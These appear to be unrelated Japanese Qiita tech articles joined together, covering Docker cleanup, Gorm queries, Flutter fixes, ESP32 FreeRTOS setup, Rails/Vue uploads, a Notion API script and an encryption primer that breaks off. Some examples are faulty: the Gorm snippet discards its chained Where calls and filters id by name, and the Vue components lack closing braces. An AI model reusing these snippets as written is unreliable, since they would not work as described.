OmniAICreator/Qiita-1.07M huggingface dataset:
【Docker】dockerお掃除コマンド


ある日Dockerを立ち上げようとすると下記のようなエラーに初めて出会った。

```
write /var/lib/docker/overlay2/ほにゃらら/diff/db/log/mysql/mysqld.log: no space left on device
```

なにやらディスクが圧迫されているよう。。。何が圧迫しているのか？

下記コマンドでdockerに関係するディスク使用状況を確認する。

```
docker system df
```

Dockerを使いまくっていて、いつの間にか**Local Volumes**が使用率100%になっている！！

```
TYPE            TOTAL     ACTIVE    SIZE      RECLAIMABLE
 Images          0         0         0B        0B
 Containers      0         0         0B        0B
 Local Volumes   202       0         24.56GB   24.56GB (100%)
 Build Cache     676       0         23.62GB   23.62GB
```


今回は、下記コマンドでイメージ、コンテナ、ネットワークを一括削除（prune）する。
ボリュームも削除したい場合は、 `--volumes` フラグが必要。

※ イメージ、コンテナ、ボリューム、ネットワークそれぞれを削除するコマンドもある。
[Docker Doc](https://docs.docker.jp/config/pruning.html#id5)を参照

```
docker system prune --volumes
```

`docker system df`でディスク使用状況を再度確認。
スッキリ:relaxed:

```
TYPE            TOTAL     ACTIVE    SIZE      RECLAIMABLE
 Images          0         0         0B        0B
 Containers      0         0         0B        0B
 Local Volumes   0         0         0B        0B
 Build Cache     0         0         0B        0B
```

また、`docker system prune`する時にデフォルトでは、確認プロンプトが表示される。
プロンプトを使わない場合は、 -f もしくは --force フラグで強制削除ができる:point_up:



参考：

https://docs.docker.jp/config/pruning.html

https://tsukada.sumito.jp/2019/06/28/docker%E3%81%A7-var-lib-docker-overlay2-%E3%81%8C%E8%82%A5%E5%A4%A7%E5%8C%96%E3%81%97%E3%81%9F%E6%99%82%E3%81%AE%E5%AF%BE%E5%87%A6/
Namespace 'webpack' has no exported member 'WebpackPluginInstance'. と表示されてActionsが止まる件




しばらくメンテしてなかったプロジェクトを久しぶりにActionsを走らせましたところ、
`Namespace 'webpack' has no exported member 'WebpackPluginInstance'.` と表示されてActionsが止ま理ました。

困った。



[Namespace 'webpack' has no exported member 'WebpackPluginInstance'\. · Issue \#137 · microsoft/monaco\-editor\-webpack\-plugin](https://github.com/microsoft/monaco-editor-webpack-plugin/issues/137)


[Issue with webpack plugin in nuxt · Issue \#8652 · nuxt/nuxt\.js](https://github.com/nuxt/nuxt.js/issues/8652)



以下のように、skipLibCheckを追加


tsconfig.json

```:tsconfig.json
{
  "compilerOptions": {
    "skipLibCheck": true,
    割愛
```



ひとまずエラーは回避できました。
もっと調べねば・・・
GormのWhere句で条件分岐付きで検索をかけたい

<h1>投稿した背景</h1>
バックエンドの言語はPHPでフレームワークはLaravelを使い続けていた筆者。
つい最近ひょんなことからGolangを使い始めたのである。
GolangのORMであるGormを使用した際にハマってしまったことを解決したので、新しい言語に挑戦するのと同時に Qiitaにも初投稿を試みるのであった。

※つまりは本投稿は初投稿かつ基本的なことしか書いてないのでGormもう得意です。って人は読み飛ばして大丈夫かと思います。お手柔らかに。

<h1>GormのWhere句で条件分岐付きで検索をかけたい</h1>

GormのWhereを使ってmehod chainingする際によく使用されるのは以下の様なコード。

```
db.Where("name = ?", "jinzhu").Where("age = ?", 18).Find(&user)
```
このコードで実行される実際のSql文は以下のようになる。

```
SELECT * FROM `users` WHERE name = "jinzhu" AND age = 18;
```

しかし、例えばユーザー検索機能などでnameは入力されているがageは入力されていなかったりと、特定の値しかフォームでの入力で受け取らない場合がある


```
chain := db.Where("")
	if name != "" {　//nameの入力があった場合
		chain.Where("id = ?", name)
	} 
	if age != "" {　//ageの入力があった場合
		chain.Where("age = ?", age)
	}
	
	chain.Find(&user)
```

上記のコードにして実行するとif文の条件に引っかかた場合のみ、 where句に追加することができた。

ちなみにgorm.Open()してdb宣言してからのCRUDが実行される間でしたら、いくらでもメソッド（Where, Select, Omit, Joins, Scopes, Preload, Raw等）を追加できるようです。
Gorm使い方によっては色々なことができそうですね。

<h1>参考にしたサイト</h1>
- https://gorm.io/ja_JP/docs/method_chaining.html
- https://stackoverflow.com/questions/36188706/separate-where-in-query
AWS Security Jam (AWS Summit Online 2021にて) に参加してみた

# 1. 初めに
- 「AWS Summit Online 2021」にあわせて、セキュリティ学習イベントの「AWS Security Jam」が日本で開催されたため、勉強のため参加してみた。非常に楽しくかつ有益だったため、どんな感じだったかをまとめておきたい。

# 2. AWS Security Jam とは

- AWS社公式ブログ「[AWS Security Jam開催のご案内](https://aws.amazon.com/jp/blogs/news/aws-summit-online-2021-security-jam-announcement/)」より引用すると、

>AWS Security Jam は AWS Jam の1つで、 Security 系のユースケースに特化した体験型イベントです。
AWS Jam では様々なユースケースや運用関連のタスクを一連のシナリオで参加者に提供し、参加者はチームごとに提供されるインフラストラクチャへAWSマネージメントコンソールやAWS CLIを利用してアクセスし、課題の解決に取り組みます。

- 過去参加した人の話を聞いて、一度チャレンジしてみたいな、と思っていたところ、今回 AWS Summit Online にあわせて、2021/5/13 の午後に開催されるとのこと。会社のメンバーを誘って、5/11の申込開始と同時に申し込んだ。すごく人気でその日の昼には締め切ってしまったとのこと。

# 3. イベントの流れ

## 3.1  チームの結成
- 課題に取り組むチームを結成する。1人で取り組んでもよいし、知らない人同士でチーム組んでもよいし、知り合いで組んでもよいとのこと(最大4名)。
- 今回は会社のメンバーと3名でチームを組んで、チーム名は地味にKCSA(KDDI Cloud Solution Architectの略)とした。
- チームを組むと、チーム内でのチャット、通話、画面共有(全てChimeベース)ができるようになる。みんなで画面を共有して一緒に問題を解いてもよいし、分担してもよい感じ。

## 3.2 課題への挑戦

![jam01a.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/189302/013b578e-6a76-0dc7-353d-d645818c49ba.png)



- 進め方の説明の後、10個の課題が提示され、制限時間(3時間半くらい)内に課題を解決していく。（上の画面は、チャレンジ開始前の、各課題がまだロックされている状態のところ）
- 各課題については難易度に応じた得点が設定されている。また、行き詰った場合は「ヒント」を開くことができるが、「ヒント」を開いてしまうと、正解してもペナルティとして減点が発生する。
- 各課題を開くと、バーチャルな環境が生成されるが、普段と同じようにマネコンで操作することができる。課題に関連するリソース（インスタンスやS3バケットなど）が用意されている。
- 課題の内容については口外不可ということで記載できないが、AWS環境で何らかのセキュリティ関連のトラブルが発生しているので何とかせよ、というもの。設定の確認、修正などを行い、正しい対応を行うと正解と判定され得点が加算される。
- 最初はメンバー全員で難易度低のものに取り組み雰囲気を掴んだ後、分担して自分ができそうなものにチャレンジすることにした。普段使っていないAWSサービスについても出題され苦戦して、残念ながら時間内に終わらせることはできなかった。

## 3.3 結果発表と課題の振り返り

![jam04a.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/189302/2e7f2316-b72f-af7c-ead0-fe5e4dde355b.png)

- 成績ランキングが発表され、我々は10問中6問正解で、28位(全部で90チームくらい？)だった。初チャレンジにしてはまあまあ頑張ったかなと…
- 1位のチームはヒントなしで全問正解で満点取得。恐ろしいなと思った。
- 簡単に各課題の解説があったが、だいぶ疲れてしまいあまり聞いていなかった。


# 4. 所感
- 先日 AWS Certified Security - Specialty の資格も取って、自称セキュリティエンジニアとして臨んだが、結構問題の幅が広くて、「これは全然分からないな、、」というものもあった。現場ではどのAWSサービスでトラブルが発生するか分からないので、幅広の知識を身に着けていきたいと感じた。
- 自分たちが今何位なのかとかもリアルタイムに表示され、本当の障害ではないものの割と緊迫感もあった。「分からないからもうヒント開けちゃうよ！」とか言いながらワイワイでき、楽しみながら勉強することができて有意義だった。
Exchangeでユーザー一覧をエクスポートする

# 環境

Exchange Server 2010

# エクスポート方法
2種類存在

1. 管理コンソールから出力
1. powershellで出力

# 管理コンソールから出力する

1. 管理コンソールを開く
1. 「受信者の構成」-「メールボックス」を開き
   右メニューから一覧のエクスポートをクリック
1. 任意の場所に保存する（ファイル形式も変更可）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1522163/e33bd68e-c43a-da33-a060-6b26b8a46e07.png)

# powershellで出力する

以下のようなコマンドで出力する
Get-Mailbox -Server [サーバ名] >> パス/ファイル名

〇例
Get-Mailbox -Server Ex2010Main >> C:\Users\exchange\Desktop\test.txt

以下のように出力されます
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1522163/04cc7cd6-93ef-e5ef-6e43-a5318c5d48fa.png)
M1チップMacでFlutter環境構築時のSDKライセンス同意が失敗する問題への対処

## 前提
MacBook Pro M1
macOS Big Sur(11.1)

## 問題
```
% flutter doctor
```
というコマンドを叩くと、Flutterの環境が整っているかの診断をしてくれる。
![ss 2021-05-19 23.38.42.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/331211/b52e82c3-ab05-06c2-2e89-1ecc65e29b81.png)

Android toolchainにエラーが見られるので、画面の指示に従って

```
% flutter doctor --android-licenses
```
で、SDKライセンスの同意をとることを試みるが、
![スクリーンショット 2021-05-19 23.46.58.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/331211/6a115520-5f99-ad3a-bf35-d631fb7d44c0.png)
上記のようにJavaのエラーが発生する。

## 解決方法
Android SDK ManagerからAndroid SDK Command-line toolsをインストールすることで、解決する。

1. Android Studioを立ち上げて、Configure > SDK Manager
2. SDK Toolsのタブを開いて、Android SDK Command-line Tools (latest)にチェックを入れてApply

<img width="400" alt="18d51bcc-409a-f558-fe0f-51ab1ae8377e.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/331211/18d51bcc-409a-f558-fe0f-51ab1ae8377e.png">
![スクリーンショット 2021-05-19 23.53.25.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/331211/19b32795-2519-b75e-5cd4-18a5c2e4d7a2.png)

## 備考
M1 Mac特有の問題かどうかは全く検討していません。
当方、今回が初めてのFlutter環境構築なので、もし特有の問題ではないなら、誰か教えていただければ幸いです。

## 参考
monoさん[(@_mono)](https://twitter.com/_mono)のツイート。ありがとうございます。

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">Androidライセンスに同意できなくて困ってたけど、回答発見して解決(　´･‿･｀)<br><br>Answer: flutter doctor --android-licenses gives a java error <a href="https://t.co/QIaJYoAB1E">https://t.co/QIaJYoAB1E</a> <a href="https://t.co/Fq3YTn5eUl">pic.twitter.com/Fq3YTn5eUl</a></p>&mdash; mono (@_mono) <a href="https://twitter.com/_mono/status/1394840362888228865?ref_src=twsrc%5Etfw">May 19, 2021</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
【Flutter】flutter/flutter.h file not found ビルドエラー（ios）の対処法について

# エラー
## 事象
先程まで何事もなくビルドできていたFlutterプロジェクトで下記のエラーが発生するようになった
```flutter/flutter.h file not found```

ずっとflutterコマンドでビルドしていたが、1回xcodeからビルドしたら発生するようになったかもしれない。（トリガーはいまいち不明。）

## 環境
* Flutter 2.0.5
* channel stable 
* Dart 2.12.3

# エラー対処法
## その１（エラー解消せず）
**下記で改善する人もいるそう**
1. rm ios/Flutter/Flutter.podspec
2. flutter clean
3. flutter pub get
4. pod install
5. flutter run

* 参考

https://github.com/flutter/flutter/issues/70895

## その２（こちらでエラー解消）
1. ios/Runnerフォルダーをバックアップ
2. iosフォルダーを削除
3. flutter create .
4. 先程のRunnerバックアップをiosフォルダー配下に貼り付け
5. Runner.xcworkspace（iosフォルダー内）を開き、バージョン、バンドルID、すべての情報を確認します。　（gitから戻してもいいかも）
6. Firebaseを利用している場合は、Google Service-Info.Plistを再配置

* 参考

https://stackoverflow.com/questions/64973346/error-flutter-flutter-h-file-not-found-when-flutter-run-on-ios

先人たちに感謝です。:pray:
PHPマニュアル完全解読  ※しばらく更新

PHPマニュアルをこれから作っていく

１・文字列：
２・戻り値：
３・評価
４・&記号
５・integer：整数
６・string：文字列
７・参照渡し
８・パラメータ
９・[]：オプション（あってもなくても良いもの）


返り値
１・【: string】文字列が返り値として返ってくる
２・【: void】返り値なし
CPU のデビュー年

# これは何？

CPUというか命令セットのデビュー年 を表にしてみた。

同一シリーズとみなして表に入れなかったり、別シリーズとみなして表に入れたりする判断は恣意的だと思う。

主要ゲーム機のチップはだいたい入れたつもりだけど（そのために V810 が入っている）、抜けてるのあるかなぁ。

ソースは Wikipedia。

# 各 CPU というか命令セットのデビュー年

|最初の製品が出た年|名前|メーカー（当時）|利用例|
|:--|:--|:--|:--|
|1974|8080|Intel|ゲームボーイ|
|1976|TI-990|テキサス・インスツルメンツ|ぴゅう太|
|1977|6502|MOS|ファミコン|
|1978|8086|Intel|ワンダースワン|
|1979|MC6809|モトローラ|源平討魔伝（アーケード）|
|1980|MC68000|モトローラ|メガドライブ|
|1983|65C816|Western Design Center|スーパーファミコン|
|1985|MIPS|MIPS|PlayStation|
|1986|ARM|エイコーン|ゲームボーイアドバンス|
|1988|SPARC|サン・マイクロシステムズ||
|1991|V810|NEC|バーチャルボーイ|
|1992|SuperH|日立|セガサターン|
|1992|Alpha|DEC||
|1994|IA-64|Intel||
|1994|PowerPC|IBM・モトローラ|Pippin atmark|
|2003|AMD64|AMD|Xbox One|
|2009|RX|ルネサス||

こうしてみると、 8086 古いね。

Z80（1975年）は 8080 の流れをくんでいるということで、表には入れなかった。
ESP32でAmazonFreeRTOSを使う方法（Windows版）

# はじめに
FreeRTOSをやりたいのに本や記事が無さすぎる！と嘆いているうちに、Interface4月号にて特集されました。

ただ残念なことに、FreeRTOSデモアプリを起動するまでの手順が、（紙面の都合上?）重要なところをすっ飛ばされており、本だけを見て設定するのは不可能に近いと思われます。GWを犠牲にして環境構築～実行までを行ったので、苦難の道程を共有します。

参考サイト①：https://qiita.com/hisashij/items/2211183a682e4517f7c9
参考サイト②：https://www.youtube.com/watch?v=9fuxXNn0grU (Interface4月号の実演動画）

# 環境
マイコン：ESP32-DevKitC
環境：Windows10 Home

# 方法
## ESP-IDFのダウンロード
① 下記サイトからESP-IDFをインストールする
https://dl.espressif.com/dl/esp-idf-tools-setup-1.2.exe

## FreeRTOSソフトウェアのインストール
① AWSコンソールにログインし、FreeRTOSを選択する
https://aws.amazon.com/jp/
※事前にAWSのアカウントを作成している必要があります。

②AWSマネジメントコンソールの検索バーに「freertos」と入力し、検索結果の「FreeRTOS」にアクセスする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/581044/9a5169cc-b792-a76d-4056-6f588c874811.png)
③FreeRTOS デバイスソフトウェアから「esp32-devkit」と入力。
Connect to AWS IoT - ESP32-DevKitC の行の「クイック接続」を選択する。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/581044/6e7401e8-6aec-25b7-e234-1dd322217b7a.png)
④「開始方法」を選択する。
⑤ Connect to AWS IoT - ESP32-DevKitC 画面
FreeRTOSバージョンは最新のままでOK。
ハードウェアプラットフォームの項目から「詳細情報の表示」を選択する
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/581044/aaafc245-891c-27e3-f930-c877b277eb0f.png)

「別のライブラリを追加します」を選択し、追加可能なライブラリを全て追加しておく。※Interface4月号に載っているサンプルプログラム(EX3)はライブラリを追加しないと動かないので注意。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/581044/dff9522f-d7ef-7126-1baf-30cb9551526f.png)
⑥ 作成してダウンロードする

## AWS-IoTのモノづくり
下記サイトの「AWS IoTでポリシーを作成」～「AWS IoTのエンドポイントを取得」までを行う。
https://dev.classmethod.jp/articles/raspberry-pi-aws-iot-l-chika/

## FreeRTOSコードの修正
①Wi-Fiの登録
...\FreeRTOS\demos\include\aws_clientcredential.h

```aws_clientcredential.h
#define clientcredentialWIFI_SSID                    "xxxxx"
#define clientcredentialWIFI_PASSWORD                "xxxxx"
```

②FreeRTOSの下記ファイルを修正し、AWS Iotの情報を紐付ける
下記フォルダに、AWS Iot作成時にダウンロードした『Credentials.zip』内の「aws_clientcredential.h」「aws_clientcredential_keys.h」を上書きコピー。

...\FreeRTOS\demos\include



## ビルド
ソフトを入れて、環境をいよいよビルドして実行する。

①ビルドファイルの生成
コマンドプロンプトでFreeRTOSフォルダに入る。

```
cmake -DVENDOR=espressif -DBOARD=esp32_devkitc -DCOMPILER=xtensa-esp32 -GNinja -S . -B build
```
実行結果
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/581044/b275a729-9aaa-68ec-475e-1a5bfd3b46e0.png)
このようなメッセージが表示されれば成功。
buildというフォルダが生成される。

②ビルドして書き込む
PCとESP32を接続した状態で下記コマンドを実行

``` 
cmake --build build
cmake --build build --target flash
```
③モニターする

```
python vendors\espressif\esp-idf\tools\idf.py monitor
```
# サンプルを確認する
上記手順の③まで行った状態で、AWSIoTを開く。
①AWSIoT > テスト > MQTT テストクライアント を開く
②「トピックをサブスクライブする」のメニューから、トピックのフィルターとして「#」と入力する。
③サブスクリプションの画面に、指定したチャンネル名と指定したメッセージ（デフォルトだと「Hello World」）が表示されたら成功。

![キャプチャ.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/581044/f6094da5-e747-3311-ebe3-5461e44ea57a.png)
Rails  API + Vue.js のSPAにCarrierWaveを導入する

#はじめに
CarrierWaveの導入はRailsアプリケーションでは簡単にできるのですが、SPAでは少し苦労したのでまとめておきます。
本記事では、ローカル（public/uploader以下）にファイルをアップロードするデフォルトの設定で進めます。
また、CarrierWaveの基本的な説明は省略します。
#環境
* Ruby 3.0.0
* Rails 6.1.3
* Vue.js 2.6.12
* Vue CLI 4.5.1

# CarrierWaveのインストール
この記事ではJSONデータの作成にjbuilderを使うので、一緒にインストールしておきます。

```ruby:Gemfile
gem 'carrierwave'
gem 'jbuilder'
```
```
$ bundle install
```

# Railsの設定
```
$ rails g uploader Image

$ rails g model Post image:string

$ rails db:migrate
```
```ruby:app/models/post.rb
mount_uploader :image, ImageUploader
```
```ruby:config/routes.rb
Rails.application.routes.draw do
  scope format: 'json' do
    resources :posts
  end
end
```
app/uploaders/image_uploader.rbはデフォルト設定のまま使います。
ただし、このままファイルをアップロードしてVue.js側で取得するとURLは
"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}"となり表示できません。
なので、config/initializers/carrierwave.rbを作成して、

```ruby:config/initializers/carrierwave.rb
CarrierWave.configure do |config|
  config.asset_host = 'http://localhost:3000'
end
```
これで、"http\://localhost:3000/uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}"となり表示できるようになります。

続いて、Postsコントローラーを作ります。

```ruby:app/controllers/posts_controller.rb
class PostsController < ApplicationController

  def index
    posts = Post.all
    @images = posts.map { |post| post.image.url }
  end

  def create
    @post = Post.new(post_params)
    if @post.save
      render json: :created
    else
      render json: @post.errors, status: :unprocessable_entity
    end
  end

  private

  def post_params
    params.require(:post).permit(:image)
  end
end
```
ポイントは`post.image.url`です。
Rails側でurlまで取得しておかないと、Vue.jsで表示したときにconsoleに警告が出ます。

app/views/posts/index.json.jbuilderを作成してRails側は完了です。

```ruby:app/views/posts/index.json.jbuilder
json.images do
  json.array! @images
end
```
# Vue.jsの設定
まずは、投稿フォームを作ります。
`<input type="file">`ではv-modelは使えないので、@&#xFFF0;changeでファイルを取得します。


```vue:PostsNew.vue
<template>
  <div>
    <input type="file" @change="setImage">
    <button @click="postImage">
  </div>
</template>

<script>
import axios from '@/axios'

export default {
  data () {
    return {
      image: ''
  },
  methods: {
    setImage (e) {
      this.image = e.target.files[0]
    },
    postImage () {
      const formData = new FormData()
      formData.append('post[image]', this.image)
      axios.post('/posts', formData)
    }
  }
}
</script>
```

Rails側でStrong Parametersを設定しているので、パラメータを

```
{"post" => {"image"=>"xxxxx/xxxx/xxxx"}}
```
で渡すために、`formData.append('post[image]', this.image)`としています。

最後に投稿一覧を作成します。

```vue:PostsIndex.vue
<template>
  <div>
    <div v-for="(image, index) in images" :key="index">
      <img :src="image">
    </div>
  </div>
</template>

<script>
import axios from '@/axios'

export default {
  data () {
    return {
      images: []
  },
  created () {
      axios.get('/posts').then(response => { this.images = response.data.images })
  }
}
</script>
```
生産中止のSparkFunのLCDコントローラーSerLCD v2.5のデーターシートや接続法のまとめ



　Arduinoに接続するLCDディスプレイとしては１６０２系がよく使われますが、そのままだとパラレル接続になってしまうし、バックライトを点灯させるには外付けの可変抵抗が必要になります。部品箱を探していたらSparkFunのLCDコントローラーSerLCDv2.5が出てきました。
すでに、発売元のsparkfunでは後継機種が発売になり、生産中止になっています。SparkFunの英語のページはタイトルページだけは表示されますが、データシートなどは404が表示されますので、消えている模様です。

　あちこち検索してやっとDigi-KeyのHPでデータシートを見つけました。

https://www.digikey.jp/product-detail/ja/sparkfun-electronics/LCD-00258/1568-1286-ND/5762436

　1602Kのピン配列と突き合わせてみたら、単に写真の方向に単純に連結すれば良いことが分かりました。元々がLCDの裏に直接はんだ付けして使用できるように考えられているようです。

![IMG_0017.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/528312/1950ed8d-8368-8402-8bb3-c4662d5e4eb2.jpeg)（クッキーを食べながら作業していたので、LCDの表面にクッキーの粉が飛んでいて申し訳ありません。）

　入力は基盤にプリントされているので簡単です。Arduino UNOから直接５VとGND、それにTX->RXの３本だけで終わりです。
sparkfunのSerial LCD Kit Quickstart Guideに接続例とスケッチがあります。少し違うタイプの製品ですが、大きくは変わらないと思いましたので、D3からRXに接続してIDEからスケッチを書き込んでみました。

　Arduino UNOをUSB接続したところ、無事に　 "www.SparkFun.com Serial LCD Kit"と表示されました。ピン配列は間違えてなかったようです。さっそくスケッチ例のSerial_LCD_Clockをダウンロードして実行してみます。カーソルの位置が正しく設定されていないので表示がずれていますが、なんとか時間が表示されるようです。ちなみに、最初に時間を合わせてから書き込まないと正しい時間は表示されません。カーソルのずれはsetLCDCursor()関数の問題のようです。

　このままでは使えないのでさらに探して別のデータシートを見つけました。

https://www.sparkfun.com/datasheets/LCD/SerLCD_V2_5.PDF

まず、一行目のカーソルポジションは左から０−１５、二行目は64-79が割り当てられているようです。つまり二行目の三番目のポジションは６６となります。次に一番上のビットは１にする必要がありますので、カーソルポジションに１２８を足します。先程の例でいうと６６＋１２８＝194です。
最後にまずlcd.write(254)を書き込んでコマンドを送るよとSerLCDに伝えてからlcd.write(194)でカーソルを動かします。

結構面倒なので時間があるときにライブラリを書こうと思いますが、とりあえず目的は達せられたので、そのまま使っています。
残プロ　第-7回　~pythonで文字列操作~

# 文字列strの操作

今回実装する操作は以下の２つです．

1.大文字で区切る　ex)"EveryDay" → "Every" + "Day"
2.コンマ[,]で区切る　ex)"one,two,three" → "one" + "two" + "three"

# サンプル.py

文字列str型に対するメソッドsplitと正規表現モジュールreのfindall関数を使用します．
splitは区切り文字が**含まれず**，findallは**含める**ことができます．

~~~sample.py
import re

def separateStr(string):
    separated_comma = string.split(',')
    if type(separated_comma) == list:
        separated_upper = []
        for s in separated_comma:
            separated_upper.append(re.findall('[A-Z][a-z]+', s))
    else:
        separated_upper = re.findall('[A-Z][a-z]+', separated_comma)
    return separated_upper
~~~
notion apiとpythonで本管理の備忘録

### 訂正
記事内でgoogle books api使ったけど誤情報orデータがないが多すぎるから国会図書館とかのほうがいいかも

### 事前準備
- pythonの環境設定
- NotionのAPIキーの取得
- 対象ページにintegrationsを招待
- 対象ページのidをメモ

### Notionのテーブル?設定

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210031/2a44b1f8-eacc-4e7c-8654-5bee8e8665a8.png)

こんな感じでTitle, Author, PublishedDate, ISBNを定義する．
それぞれプロパティはtitle, text,text,numberにした．
### 流れ
ISBN(13桁) --> google books api --> Notion API

- google books apiからはタイトル，著者名，出版日，ISBNを取得
- Notion APIでPOSTする

### 使い方

``` shell 
python bookpost.py <13桁のISBN>
```

### コード
- プロパティの種類で書き方が違うことに注意．
- textはrich_textって書く．
- data=json.dumps(data)のとこを癖で日本語のエスケープ書くとpostでエラーになる．

``` python:bookpost.py
import json
import sys

import requests

NOTION_ACCESS_TOKEN = YOUR_SECRET_KEY
NOTION_PAGE_ID = YOUR_PAGE_ID


def request_googleapi(isbn):
    # print(isbn)
    url: str = "https://www.googleapis.com/books/v1/volumes"
    try:
        response = requests.get(url, params={"q": "isbn" + isbn})
        response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print("error : ", e)
        print(response.text)
        exit(1)
    return response.json()


def POST_dict(data):
    dic = {}
    dic["title"] = data["items"][0]["volumeInfo"]["title"]
    dic["author"] = ", ".join(data["items"][0]["volumeInfo"]["authors"])
    dic["date"] = data["items"][0]["volumeInfo"]["publishedDate"]
    tmp = data["items"][0]["volumeInfo"]["industryIdentifiers"]
    value_list = [x["identifier"] for x in tmp if x["type"] == "ISBN_13"]
    value = value_list[0] if len(value_list) else 0
    dic["isbn"] = value
    return dic


def notion_post(bo):
    url: str = "https://api.notion.com/v1/pages"
    try:
        headers = {
            "Authorization": NOTION_ACCESS_TOKEN,
            "Content-Type": "application/json",
            "Notion-Version": "2021-05-13",
        }
        data = {
            "parent": {"database_id": NOTION_PAGE_ID},
            "properties": {
                "Title": {
                    "type": "title",
                    "title": [{"text": {"content": bo["title"]}}],
                },
                "Author": {
                    "type": "rich_text",
                    "rich_text": [{"text": {"content": bo["author"]}}],
                },
                "PublishedDate": {
                    "type": "rich_text",
                    "rich_text": [{"text": {"content": bo["date"]}}],
                },
                "ISBN": {"type": "number", "number": int(bo["isbn"])},
            },
        }
        response = requests.post(url=url, headers=headers, data=json.dumps(data))
        response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print("error : ", e)
        print(response.text)
        exit(1)


isbn = sys.argv[1]
if len(isbn) != 13:
    exit(1)
a = request_googleapi(isbn)
bo = POST_dict(a)
notion_post(bo)
```
【shellscript】コマンドライン引数取り扱いメモ


shellscriptのコマンドライン引数の取り扱いについて、
備忘録としてまとめておく

```bash:test.sh
###################
# 一番目の引数を取得
###################
arg_one=$1
echo "一番目の引数を取得"
echo $arg_one

###################
# 引数をすべて取得 
###################
args_ex=$@
echo "引数をすべて取得 "
echo $args_ex

#####################
# 2番目以降の引数を取得
#####################
args_ex2=${@:2}
echo "2番目以降の引数を取得"
echo $args_ex2

########################
# 2番目以降の引数を3つ取得
########################
args_ex3=${@:2:3}
echo "2番目以降の引数を3つ取得"
echo $args_ex3

###########################
# 引数をすべてを配列として取得
###########################
args_array=("${@}")
echo "引数をすべてを配列として取得"
for args_value in ${args_array[@]}; do
  echo $args_value
done
```

## 実行テスト
```bash
$ sh test-args.sh a b c d e

# 実行結果
一番目の引数を取得
a
引数をすべて取得 
a b c d e
2番目以降の引数を取得
b c d e
2番目以降の引数を3つ取得
b c d
引数をすべてを配列として取得
a
b
c
d
e
```
TypescriptのMapped Typesの使い所がようやく分かった話


フロントエンドエンジニアとして就職して1年半。最初はあんなに意味不明だったTypescriptも、かなり自分の中で理解が深まったかと思います。
最初は、分からない型はたまにanyで逃げてましたが、今はinterfaceやgenericsあたりの普遍的な機能は問題なく読み書きできます。
(もっとも、ライブラリのソースコードで、Conditional Typesやinferがふんだんに使われているものを見ると、ちょおおっ…となりますが汗)


そんな私、つい最近になってMapped Typesの使い所がわかったので共有します。
(最初に学んだ際には、この型の何がいいんだろ？と疑問でした)

結論から申しますと、**1人のユーザーが複数のアカウントを持つサービスの実装に際して役に立ちました**



```before-map.ts
type User = {
 account1: {
  name: string,
  email: string,
  address: string
  ....
  },
 account2: {
  name: string,
  email: string,
  address:string
  ....
  },
  account3: {
  .....account5まで続く
}
```

上記のように、accout1からaccount5まで同じ内容のオブジェクトとなる際に、Mapped Typesを使う事で共通化しタイポを防げる & プロパティ名の変更に強くなれる事に気づきました。

```after-map.ts

type Account = {
  name: string,
  email: string,
  address: string,
   ....
}

type AccountKey = "account1" | "account2" | "account3" | "account4" | "account5";

type User = {
 [P in AccountKey]: Account
}
```

かなりスマートにまとまりました！

今回は、「1人のユーザーが複数のアカウントを持っている時」というユースケースでしたが、例えば「1人のユーザーが複数の住所を持っている場合(ECサイト等？)」に扱えるのではと思います。



最初に学んだ時には「このMapped Types、使い道あるのかな？」と思ってしまいました。
しかし、実践と理論を繰り返す中で初めて見える知見というものがあると痛感しました。
偉大なる先人が考案して教科書に載っているようなものには全て、それ相応の理由があるのですね。
暗号化について簡単に書いてみる

#なぜ書いたか
IT業界に勤めると「新入社員は基本情報技術者（FE）の資格を取ろう！」って話になると思います。
この試験、もちろん情報セキュリティも試験範囲になっています。
しかも「午前・午後両方で出題があり、午後試験では必須回答」という結構ウェイト高めな項目。
その中でも基礎の基礎な暗号化を取り扱おう、ということにしました。
（ざっくり書いてみたので解釈の不一致があるかもしれないですね）

#暗号化って何？
「情報を安全にやり取りするため、当事者以外には内容をわからないようにする」というのが暗号化です。
これとは逆に、「暗号化した内容を当事者が理解できる形に戻してあげる」必要もあります。これが復号（化）です。
暗号化と復号（化）はセットで覚えましょう。

＊ここでの「当事者」は一人だけのパターン・複数人のパターンの双方があります。
一人だけのパターン：USBメモリにExcelファイルの住所録を保存した。紛失した時に備えてパスワードをつけて暗号化した。
複数人のパターン：Excelファイルの住所録を友人にメールで送った。個人情報が漏洩しないか心配だったのでパスワードを付けて暗号化した。
（今どきメール&Excelファイルで住所録をやり取りすることなんてあるのか？）


#暗号化の種類について
##共通鍵暗号方式
昔、学校の音楽室とかは普段生徒が入れないように施錠して管理されていたと思います。授業の時とか使うたびに鍵を開けていましたよね…。
その鍵はだいたい職員室の鍵箱で管理されていて、みんなが同じ鍵を使っていたんじゃないでしょうか？
この「複数人で同じ鍵を共有する」というのが共通鍵暗号方式の基本です。

共通鍵暗号方式は、情報をやり取りする2者間（送信側ー受信側）で共通の鍵を使用する暗号化方式のことです。
暗号化と復号化で同じ鍵を使用する、というわけですね。この場合、通信に先立って2者間で鍵を共有する必要があります。
鍵を共有（鍵の配送、といいます）するにあたっては、
・鍵を共有する相手が本当に情報をやり取りしたい相手か
